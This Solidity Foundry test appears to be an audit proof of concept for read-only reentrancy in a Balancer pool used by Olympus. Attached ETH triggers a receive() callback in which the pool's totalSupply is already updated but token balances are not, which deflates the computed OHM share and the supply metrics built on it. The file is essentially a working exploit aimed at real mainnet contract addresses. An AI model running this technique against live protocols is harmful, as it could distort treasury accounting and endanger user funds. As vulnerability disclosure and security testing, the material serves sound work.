|
// SPDX-License-Identifier: SEE LICENSE IN LICENSE |
|
pragma solidity 0.8.15; |
|
|
|
import "forge-std/Test.sol"; |
|
|
|
import {ERC20} from "solmate/tokens/ERC20.sol"; |
|
import {IVault} from "src/libraries/Balancer/interfaces/IVault.sol"; |
|
import {IBasePool} from "src/libraries/Balancer/interfaces/IBasePool.sol"; |
|
import {IWeightedPool} from "src/libraries/Balancer/interfaces/IWeightedPool.sol"; |
|
import {FixedPoint} from "src/libraries/Balancer/math/FixedPoint.sol"; |
|
|
|
interface MockToken { |
|
function increaseAllowance(address vault, uint amount) external; |
|
function approve(address vault, uint amount) external; |
|
} |
|
|
|
struct JoinPoolRequest { |
|
address[] assets; |
|
uint256[] maxAmountsIn; |
|
bytes userData; |
|
bool fromInternalBalance; |
|
} |
|
|
|
interface IVaultWithJoin is IVault{ |
|
function joinPool( |
|
bytes32 poolId, |
|
address sender, |
|
address recipient, |
|
JoinPoolRequest memory request |
|
) external payable; |
|
} |
|
|
|
contract BalancerReentrancyTest is Test { |
|
|
|
IVaultWithJoin vault = IVaultWithJoin(0xBA12222222228d8Ba445958a75a0704d566BF2C8); |
|
IBasePool pool = IBasePool(0xd4f79CA0Ac83192693bce4699d0c10C66Aa6Cf0F); |
|
|
|
uint totalLp; |
|
uint actualPoolOhmShare; |
|
|
|
function testHash_BalancerReentrancy() public { |
|
MockToken ohm = MockToken(0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5); |
|
MockToken wsteth = MockToken(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0); |
|
|
|
bytes32 poolId = pool.getPoolId(); |
|
(,uint256[] memory balances, ) = vault.getPoolTokens(poolId); |
|
|
|
uint totalSupply = pool.totalSupply(); |
|
|
|
// assume that BLVaultLido has half the total supply of LP tokens |
|
totalLp = totalSupply /2 ; |
|
actualPoolOhmShare = (balances[0] * totalLp) / totalSupply; |
|
|
|
// attacker reenters via joinPool, increasing the totalSupply but keeping the token balances the same |
|
|
|
// Build join pool request |
|
address[] memory assets = new address[](2); |
|
assets[0] = address(ohm); |
|
assets[1] = address(wsteth); |
|
|
|
uint highAmount = type(uint128).max; |
|
deal(address(ohm),address(this),highAmount); |
|
deal(address(wsteth),address(this),highAmount); |
|
|
|
uint256[] memory maxAmountsIn = new uint256[](2); |
|
maxAmountsIn[0] = balances[0]; |
|
maxAmountsIn[1] = balances[1]; |
|
|
|
JoinPoolRequest memory joinPoolRequest = JoinPoolRequest({ |
|
assets: assets, |
|
maxAmountsIn: maxAmountsIn, |
|
userData: abi.encode(1, maxAmountsIn, 1), |
|
fromInternalBalance: false |
|
}); |
|
|
|
// Join pool |
|
ohm.increaseAllowance(address(vault), highAmount); |
|
wsteth.approve(address(vault), highAmount); |
|
|
|
// send eth along with the call so that balancer vault sends back the eth which allows to call the `getCollateralizedOhm` function in a state when balancer's totalSupply is updated but token balances are not |
|
deal(address(this),1e18); |
|
vault.joinPool{value:1e18}(poolId, address(this), address(this), joinPoolRequest); |
|
|
|
} |
|
|
|
receive() external payable { |
|
assert(msg.sender == address(vault)); |
|
|
|
// since the pool state is manipulated, any call to `getCollateralizedOhm` function of BLVaultSuplly will return manipulated poolOhmShares as calculated below. |
|
// the [COLLATERALIZED_SUPPLY](https://github.com/sherlock-audit/2023-11-olympus/blob/9c8df76dc9820b4c6605d2e1e6d87dcfa9e50070/bophades/src/modules/SPPLY/OlympusSupply.sol#L716-L721) metric and [BACKED_SUPPLY](https://github.com/sherlock-audit/2023-11-olympus/blob/9c8df76dc9820b4c6605d2e1e6d87dcfa9e50070/bophades/src/modules/SPPLY/OlympusSupply.sol#L747-L753) metric relies on return values of getCollateralizedOhm() |
|
// this will lead to manipulated values for these and it is said by the team that correct supply values are required inorder to perfrom actions of economical importance like exchanging ohm for treasury assets |
|
|
|
// incorrect poolOhmShare calculation |
|
uint256 poolTotalSupply = pool.totalSupply(); |
|
(, uint256[] memory balances, ) = vault.getPoolTokens(pool.getPoolId()); |
|
|
|
// here balances[0] value is same as previous while poolTotalSupply is the updated one with the attackers liquidity added |
|
uint manipulatedPoolOhmShare = (balances[0] * totalLp) / poolTotalSupply; |
|
|
|
console.log("actual pool ohm share",actualPoolOhmShare); |
|
console.log("manipulated pool ohm share",manipulatedPoolOhmShare); |
|
|
|
// close to 50% of actual |
|
assert(manipulatedPoolOhmShare < actualPoolOhmShare); |
|
} |
|
} |